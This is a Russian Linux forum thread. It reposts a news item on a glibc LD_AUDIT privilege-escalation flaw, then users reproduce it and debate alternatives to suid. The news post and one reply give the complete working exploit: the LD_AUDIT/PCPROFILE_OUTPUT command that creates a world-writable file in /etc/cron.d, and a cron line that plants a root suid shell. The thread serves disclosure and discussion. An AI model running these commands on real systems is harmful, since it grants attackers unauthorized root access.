[ON] Для Glibc представлен еще один метод повышения привилегий

Обсуждение новостей, соответствующих тематике форума

Модератор: Модераторы разделов

Аватара пользователя
rssbot
Бот
Сообщения: 6001
ОС: gnu/linux

[ON] Для Glibc представлен еще один метод повышения привилегий

Сообщение rssbot »

Спустя несколько дней после обнаружения в системной библиотеке GNU C Library (glibc) уязвимости, сообщается о нахождении еще одного метода взлома, позволяющего выполнить код с привилегиями суперпользователя. В отличие от ранее представленной техники, новый метод эксплуатации проявляется не только в RHEL, Fedora и CentOS, но и в Debian/Ubuntu и других Linux-дистрибутивах, использующих glibc 2.4 или более позднюю версию. Отдельно собщается, что проблеме не подвержена glibc из состава OpenWall и ALT Linux, так как в данных дистрибутивах изначально по умолчанию использован повышающий безопасность патч "sanitize-env". По своей сути новая уязвимость основана на том же принципе и базируется на отсутствии должных проверок при динамическом связывании в режиме LD_AUDIT библиотек с исполняемыми файлами, для которых установлен идентификатор смены владельца или группы (suid/sgid). Изначально система динамического связывания блокирует любые попытки использования LD_PRELOAD для загрузки для setuid/setgid-программ пользовательских библиотек, размещенных в нестандартный областях файловой системы (/lib, /usr/lib), но разработчики glibc сделали несколько исключений из правил для функции LD_AUDIT, наличие которых и привело к возможности осуществления атаки. При активации режима аудита через LD_AUDIT система связывание выполняет проверку на экспорт символов для всех указанных стандартных библиотек, выполняя вызов dlopen(), который подразумевает запуск процедуры инициализации библиотеки. Техника атаки при этом сводится к инициированию загрузки подставной библиотеки в пути запуска приложения (отмеченная в прошлой уязвимости техника), либо к использованию стандартных библиотек, неучитывающих фактор наличия флага suid/sgid (euid != uid). Проверить подверженность системы уязвимости можно следующим способом: Убираем маску прав доступа для создаваемых файлов (при umask 0 файлы будут создаваться по умолчанию с правами "-rw-rw-rw-")

Код:

$ umask 0
Для атаки будем использовать стандартную библиотеку профилирования libpcprofile, входящую в комплект libc:

Код:

$ dpkg -S /lib/libpcprofile.so libc6: /lib/libpcprofile.so $ ls -l /lib/libpcprofile.so -rw-r--r-- 1 root root 5496 2010-10-12 03:32 /lib/libpcprofile.so
Код инициализации libpcprofile не проверяет различия эффективного и текущего идентификатора пользователя, но при этом позволяет создать лог-файл, который можно создать в любой системной директории:

Код:

$ LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/etc/cron.d/exploit" ping ERROR: ld.so: object 'libpcprofile.so' cannot be loaded as audit interface: undefined symbol: la_version; ignored.
Несмотря на вывод ошибки, процедура инициализации выполнилась и в директории /etc/cron.d был создан лог-файл:

Код:

$ ls -l /etc/cron.d/exploit -rw-rw-rw- 1 root taviso 65 2010-10-21 14:22 /etc/cron.d/exploit
Как видно, права доступа на созданный файл, позволяют любому пользователю записать в него любые данные, которые затем будут выполнены системой cron от пользователя root. Например:

Код:

$ printf "* * * * * root cp /bin/dash /tmp/exploit; chmod u+s /tmp/exploitn" > /etc/cron.d/exploit
Через пару минут наблюдаем:

Код:

$ ls -l /tmp/exploit ls: cannot access /tmp/exploit: No such file or directory ... $ ls -l /tmp/exploit -rwsr-xr-x 1 root root 83888 2010-10-21 14:25 /tmp/exploit $ /tmp/exploit # whoami root
Исправления уже доступны для Debian и Ubuntu. Состояние подготовки исправлений для других дистрибутивов можно отследить на следующих страницах: Slackware, Gentoo, Mandriva, openSUSE, CentOS, Fedora, RHEL.


Источник: http://www.opennet.ru/opennews/art.shtml?num=28390


оригинал на opennet.ru
Спасибо сказали:
Аватара пользователя
taaroa
Сообщения: 1319

Re: [ON] Для Glibc представлен еще один метод повышения привилегий

Сообщение taaroa »

hax

% umask 022 % umask 0 % umask 000 % id uid=1666(hax) gid=1666(hax) группы=1666(hax) % LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/etc/cron.d/exploit" ping ERROR: ld.so: object 'libpcprofile.so' cannot be loaded as audit interface: undefined symbol: la_version; ignored. Usage: ping [-LRUbdfnqrvVaAD] [-c count] [-i interval] [-w deadline] [-p pattern] [-s packetsize] [-t ttl] [-I interface] [-M pmtudisc-hint] [-m mark] [-S sndbuf] [-T tstamp-options] [-Q tos] [hop1 ...] destination % ls -la /etc/cron.d/exploit -rw-rw-rw- 1 root hax 4 Окт 23 20:00 /etc/cron.d/exploit % printf "* * * * * root cp /bin/bash /tmp/exploit; chmod u+s /tmp/exploit\n" > /etc/cron.d/exploit % ls -la /tmp/exploit ls: невозможно получить доступ к /tmp/exploit: Нет такого файла или каталога % /lib64/libc-2.12.1.so GNU C Library stable release version 2.12.1, by Roland McGrath et al. Copyright © 2010 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. Compiled by GNU CC version 4.4.5. Compiled on a Linux 2.6.35 system on 2010-10-18. Available extensions: C stubs add-on version 2.1.2 crypt add-on version 2.1 by Michael Glad and others Gentoo patchset 4 GNU Libidn by Simon Josefsson Native POSIX Threads Library by Ulrich Drepper et al BIND-8.2.3-T5B libc ABIs: UNIQUE IFUNC For bug reporting instructions, please see: <http://www.gnu.org/software/libc/bugs.html>.


root

# grep exploit /var/log/messages Oct 23 20:01:01 localhost cron[10663]: (*system*) BAD FILE MODE (/etc/cron.d/exploit) Oct 23 20:04:01 localhost cron[10663]: (*system*) BAD FILE MODE (/etc/cron.d/exploit)

:wq
Спасибо сказали:
Аватара пользователя
Илуватар
Сообщения: 295
Статус: Antic1tizen 0ne
ОС: Debian Wheezy/Sid amd64

Re: [ON] Для Glibc представлен еще один метод повышения привилегий

Сообщение Илуватар »

Код: Выделить всё

$ umask 0

% umask
000

А разве не должно быть 666?

И какие в таком случае права на созданный /etc/cron.d/exploit?
† Obiit animus, natus est atomus †
Спасибо сказали:
Аватара пользователя
taaroa
Сообщения: 1319

Re: [ON] Для Glibc представлен еще один метод повышения привилегий

Сообщение taaroa »

D3K@nT0R1S писал(а):
23.10.2010 16:48

Код: Выделить всё

$ umask 0

% umask
000

А разве не должно быть 666?

man umask
D3K@nT0R1S писал(а):
23.10.2010 16:48
И какие в таком случае права на созданный /etc/cron.d/exploit?

...поправил пост, смотрите выше. Кстати, могли бы и сами все проверить и узнать.
:wq
Спасибо сказали:
Аватара пользователя
/dev/random
Администратор
Сообщения: 5435
ОС: Gentoo

Re: [ON] Для Glibc представлен еще один метод повышения привилегий

Сообщение /dev/random »

D3K@nT0R1S писал(а):
23.10.2010 16:48
А разве не должно быть 666?

И какие в таком случае права на созданный /etc/cron.d/exploit?

Нет. umask _вычитается_ из дефолтной маски для создаваемого файла. Если поставить 666, то будут блокироваться чтение и запись файлов.
Спасибо сказали:
Аватара пользователя
/dev/random
Администратор
Сообщения: 5435
ОС: Gentoo

Re: [ON] Для Glibc представлен еще один метод повышения привилегий

Сообщение /dev/random »

taaroa писал(а):
23.10.2010 16:24
Oct 23 20:01:01 localhost cron[10663]: (*system*) BAD FILE MODE (/etc/cron.d/exploit)

На самом деле cron - это был просто пример. Уязвимость позволяет создать файл (пусть и не исполнимый) в любом каталоге системы, с любым содержимым. Правило udev, например. И получить рута с такой возможностью труда не представляет.

ЗЫ когда же этот долбаный suid наконец выпилят из ядра?
Спасибо сказали:
Аватара пользователя
taaroa
Сообщения: 1319

Re: [ON] Для Glibc представлен еще один метод повышения привилегий

Сообщение taaroa »

/dev/random писал(а):
23.10.2010 17:18
taaroa писал(а):
23.10.2010 16:24
Oct 23 20:01:01 localhost cron[10663]: (*system*) BAD FILE MODE (/etc/cron.d/exploit)

На самом деле cron - это был просто пример.

Понимаю. Действительно неприятная штука. Для чистоты эксперимента отключил RBAC, hax - это специальный пользователь для подобных тестов.
Файл таки создался. =/
/dev/random писал(а):
23.10.2010 17:18
ЗЫ когда же этот долбаный suid наконец выпилят из ядра?

Для начала его надо выпилить из, например, Xorg, ping и passwd.
И если первая задача частично решена, вторая и вовсе не задача, то как быть с третьим?
:wq
Спасибо сказали:
frp
Сообщения: 1445
ОС: Debian Squeeze

Re: [ON] Для Glibc представлен еще один метод повышения привилегий

Сообщение frp »

/dev/random писал(а):
23.10.2010 17:18
ЗЫ когда же этот долбаный suid наконец выпилят из ядра?

А разве существует способ сделать, скажем, su, sudo, gksu, kdesu, .. ., login, gdm, kdm, ..., passwd без SUID так, чтобы они работали?
Спасибо сказали:
Аватара пользователя
/dev/random
Администратор
Сообщения: 5435
ОС: Gentoo

Re: [ON] Для Glibc представлен еще один метод повышения привилегий

Сообщение /dev/random »

frp писал(а):
23.10.2010 17:51
А разве существует способ сделать, скажем, su, sudo, gksu, kdesu, .. ., login, gdm, kdm, ..., passwd без SUID так, чтобы они работали?

Да. Простейший (хоть и не лучший) вариант: демон, запускающий приложения от имени рута по запросу через unix-сокет. Авторизацию unix-сокеты поддерживают, терминал можно туннелировать через него же. Кроме того, при желании этот демон сможет спрашивать пароль/отпечаток пальца/и т.д. централизованно, неперехватываемым способом. Сейчас это реализуемо через специальные модули pam, но сложно, а при использовании демона будет тривиально. И самое главное - приложения будут наследовать свойства демона, а не непривелегированного процесса, выполнившего запрос.
Спасибо сказали:
frp
Сообщения: 1445
ОС: Debian Squeeze

Re: [ON] Для Glibc представлен еще один метод повышения привилегий

Сообщение frp »

/dev/random писал(а):
23.10.2010 18:55
демон, запускающий приложения от имени рута по запросу через unix-сокет.

Преимущества перед SUID? Проблемы с совместимостью? На FreeBSD, NetBSD, OpenBSD, Solaris, Illumos, других Unix-like OS тоже ставить этот демон?
Спасибо сказали:
Аватара пользователя
Илуватар
Сообщения: 295
Статус: Antic1tizen 0ne
ОС: Debian Wheezy/Sid amd64

Re: [ON] Для Glibc представлен еще один метод повышения привилегий

Сообщение Илуватар »

...поправил пост, смотрите выше. Кстати, могли бы и сами все проверить и узнать.

Я не дома, а на Windows нет Glibc =/
umask _вычитается_ из дефолтной маски для создаваемого файла

Спасибо, теперь разобрался. Приду домой - отпишу краш-тест.
† Obiit animus, natus est atomus †
Спасибо сказали:
Аватара пользователя
/dev/random
Администратор
Сообщения: 5435
ОС: Gentoo

Re: [ON] Для Glibc представлен еще один метод повышения привилегий

Сообщение /dev/random »

frp писал(а):
23.10.2010 19:12
Преимущества перед SUID?

Я описал. Отсутствие наследования всякой гадости от юзера, с фильтрацией которой вечные проблемы.

frp писал(а):
23.10.2010 19:12
Проблемы с совместимостью? На FreeBSD, NetBSD, OpenBSD, Solaris, Illumos, других Unix-like OS тоже ставить этот демон?

От suid надо избавляться везде. Желательно одинаково. Демон я привёл в качестве примера, разработкой стандартов я не занимаюсь. Кому-то может прийти в голову другой способ.
Спасибо сказали:
watashiwa_daredeska
Бывший модератор
Сообщения: 4038
Статус: Искусственный интеллект (pre-alpha)
ОС: Debian GNU/Linux

Re: [ON] Для Glibc представлен еще один метод повышения привилегий

Сообщение watashiwa_daredeska »

/dev/random писал(а):
23.10.2010 18:55
Да. Простейший (хоть и не лучший) вариант: демон, запускающий приложения от имени рута по запросу через unix-сокет.
А сам демон как? Ещё один «особенный» процесс, как init?
Спасибо сказали:
Аватара пользователя
/dev/random
Администратор
Сообщения: 5435
ОС: Gentoo

Re: [ON] Для Glibc представлен еще один метод повышения привилегий

Сообщение /dev/random »

watashiwa_daredeska писал(а):
23.10.2010 22:54
А сам демон как? Ещё один «особенный» процесс, как init?

Зачем? Просто демон, выполняющий свою работу. Запускать процессы от имени рута может любой процесс, запущенный от имени рута. Какая-либо дополнительная поддержка со стороны ядра не требуется.
Спасибо сказали:
Аватара пользователя
Rootlexx
Бывший модератор
Сообщения: 4471
Статус: GNU generation
ОС: Debian GNU/Linux

Re: [ON] Для Glibc представлен еще один метод повышения привилегий

Сообщение Rootlexx »

frp писал(а):
23.10.2010 17:51
/dev/random писал(а):
23.10.2010 17:18
ЗЫ когда же этот долбаный suid наконец выпилят из ядра?

А разве существует способ сделать, скажем, su, sudo, gksu, kdesu, .. ., login, gdm, kdm, ..., passwd без SUID так, чтобы они работали?

Да, и уже достаточно давно: man capabilities.
Спасибо сказали:
watashiwa_daredeska
Бывший модератор
Сообщения: 4038
Статус: Искусственный интеллект (pre-alpha)
ОС: Debian GNU/Linux

Re: [ON] Для Glibc представлен еще один метод повышения привилегий

Сообщение watashiwa_daredeska »

/dev/random писал(а):
23.10.2010 23:49
Просто демон, выполняющий свою работу.
Ага. Ну, допустим. А дальше? У setuid процесса я — owner, могу его kill'нуть, хоть он и с рутовыми правами. А вот child'а рутового демона я не смогу прибить. И сигналы вообще, в более общем случае. Хоть это и древняя мерзость, однако действующей альтернативы пока нет.

Rootlexx писал(а):
23.10.2010 23:53
man capabilities
Это, конечно, лучше, но суть остаётся примерно та же. Только в случае с capabilities можно дозировать привилегии, а в случае с suid они получаются все скопом. Однако, вся прочая дребедень сохраняется, те же LD_PRELOAD и LD_AUDIT.
Спасибо сказали:
Аватара пользователя
taaroa
Сообщения: 1319

Re: [ON] Для Glibc представлен еще один метод повышения привилегий

Сообщение taaroa »

watashiwa_daredeska писал(а):
24.10.2010 01:52
Rootlexx писал(а):
23.10.2010 23:53
man capabilities
Это, конечно, лучше, но суть остаётся примерно та же. Только в случае с capabilities можно дозировать привилегии, а в случае с suid они получаются все скопом.

...и архаичный софт.

/etc/grsec/policy (part)

subject /usr/bin/Xorg o { / h /var/gdm/:0.Xauth -CAP_ALL +CAP_IPC_OWNER bind disabled connect disabled /dev/mem rw +CAP_SYS_ADMIN +CAP_SYS_TTY_CONFIG +CAP_SYS_RAWIO -PAX_SEGMEXEC -PAX_PAGEEXEC -PAX_MPROTECT }


watashiwa_daredeska писал(а):
24.10.2010 01:52
Однако, вся прочая дребедень сохраняется, те же LD_PRELOAD и LD_AUDIT.

Вот именно.

Shell

LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/etc/cron.d/exploit" ping

:wq
Спасибо сказали:
Аватара пользователя
strah
Сообщения: 283
ОС: Freebsd, linux, Solaris.

Re: [ON] Для Glibc представлен еще один метод повышения привилегий

Сообщение strah »

/dev/random писал(а):
23.10.2010 23:49
Зачем? Просто демон, выполняющий свою работу. Запускать процессы от имени рута может любой процесс, запущенный от имени рута. Какая-либо дополнительная поддержка со стороны ядра не требуется.

Думаю, лучше уж сделать в linux так, как это сделано в Solaris - тем процессам, которым нужны привелегии суперпользователя(слушать порт < 1024 и т.д), не давать все привелегии рута, а только те, что им необходимы(в данном случае - открыть порт < 1024).
/earth: file system full
Спасибо сказали:
watashiwa_daredeska
Бывший модератор
Сообщения: 4038
Статус: Искусственный интеллект (pre-alpha)
ОС: Debian GNU/Linux

Re: [ON] Для Glibc представлен еще один метод повышения привилегий

Сообщение watashiwa_daredeska »

strah писал(а):
24.10.2010 11:25
Думаю, лучше уж сделать в linux так, как это сделано в Solaris
Это практически то же самое, что и capabilities в Linux'е, про которые Rootlexx писал.
Спасибо сказали:
Аватара пользователя
taaroa
Сообщения: 1319

Re: [ON] Для Glibc представлен еще один метод повышения привилегий

Сообщение taaroa »

strah писал(а):
24.10.2010 11:25
/dev/random писал(а):
23.10.2010 23:49
Зачем? Просто демон, выполняющий свою работу. Запускать процессы от имени рута может любой процесс, запущенный от имени рута. Какая-либо дополнительная поддержка со стороны ядра не требуется.

Думаю, лучше уж сделать в linux так, как это сделано в Solaris - тем процессам, которым нужны привелегии суперпользователя(слушать порт < 1024 и т.д), не давать все привелегии рута, а только те, что им необходимы(в данном случае - открыть порт < 1024).

А Xorg это сервер или нет?
И в OpenBSD он работает с повышенными привилегиями. А какие там замечательные штуки есть (privilege separation; privilege revocation).
:wq
Спасибо сказали:
Аватара пользователя
strah
Сообщения: 283
ОС: Freebsd, linux, Solaris.

Re: [ON] Для Glibc представлен еще один метод повышения привилегий

Сообщение strah »

В Solaris(именно в Solaris, а не в OpenSolaris) используется XSun. Вот про то, с какими привилегиями он выполняется, я, если честно, не помню, но в понедельник буду в универе, и посмотрю.
/earth: file system full
Спасибо сказали:
Аватара пользователя
taaroa
Сообщения: 1319

Re: [ON] Для Glibc представлен еще один метод повышения привилегий

Сообщение taaroa »

strah писал(а):
24.10.2010 12:46
В Solaris(именно в Solaris, а не в OpenSolaris) используется XSun.

353 root 45M 19M sleep 59 0 0:02:30 0,2% Xsun/1
:wq
Спасибо сказали:
Аватара пользователя
strah
Сообщения: 283
ОС: Freebsd, linux, Solaris.

Re: [ON] Для Glibc представлен еще один метод повышения привилегий

Сообщение strah »

taaroa писал(а):
24.10.2010 13:47
353 root 45M 19M sleep 59 0 0:02:30 0,2% Xsun/1


Код: Выделить всё

ps -e -o user,args | grep Xsun
    root /usr/openwin/bin/Xsun :6 -nobanner -auth /var/dt/A:6-uvaGob -nobanner -dpms
    root /usr/openwin/bin/Xsun :4 -nobanner -auth /var/dt/A:4-wvaGob -nobanner -dpms
    root /usr/openwin/bin/Xsun :5 -nobanner -auth /var/dt/A:5-vvaGob -nobanner -dpms
   strah grep Xsun
    root /usr/openwin/bin/Xsun :7 -nobanner -auth /var/dt/A:7-tvaGob -nobanner -dpms
    root /usr/openwin/bin/Xsun :3 -nobanner -auth /var/dt/A:3-xvaGob -nobanner -dpms
   strah /usr/openwin/bin/Xsun :2 -nobanner -auth /var/dt/A:2-rvaGob -nobanner -dpms
/earth: file system full
Спасибо сказали:
Аватара пользователя
taaroa
Сообщения: 1319

Re: [ON] Для Glibc представлен еще один метод повышения привилегий

Сообщение taaroa »

Вывод команды ls -l /usr/openwin/bin/Xsun покажите, пожалуйста.
Речь в этой теме идет о suid/sgid.
:wq
Спасибо сказали:
Аватара пользователя
taaroa
Сообщения: 1319

Re: [ON] Для Glibc представлен еще один метод повышения привилегий

Сообщение taaroa »

#342619
Status: RESOLVED
Resolution: WONTFIX

// пофигизм какой то, чесслово, одни только комментарии на opennet чего стоят.
p.s. тем, кто зарегистрирован на bugs: может сообща проголосуем, выскажем свое мнение, м?
:wq
Спасибо сказали:
Аватара пользователя
strah
Сообщения: 283
ОС: Freebsd, linux, Solaris.

Re: [ON] Для Glibc представлен еще один метод повышения привилегий

Сообщение strah »

taaroa писал(а):
25.10.2010 12:40
Вывод команды ls -l /usr/openwin/bin/Xsun покажите, пожалуйста.
Речь в этой теме идет о suid/sgid.

Таки да, SUID-бит там стоит. Правда, это 9 солярка.
/earth: file system full
Спасибо сказали: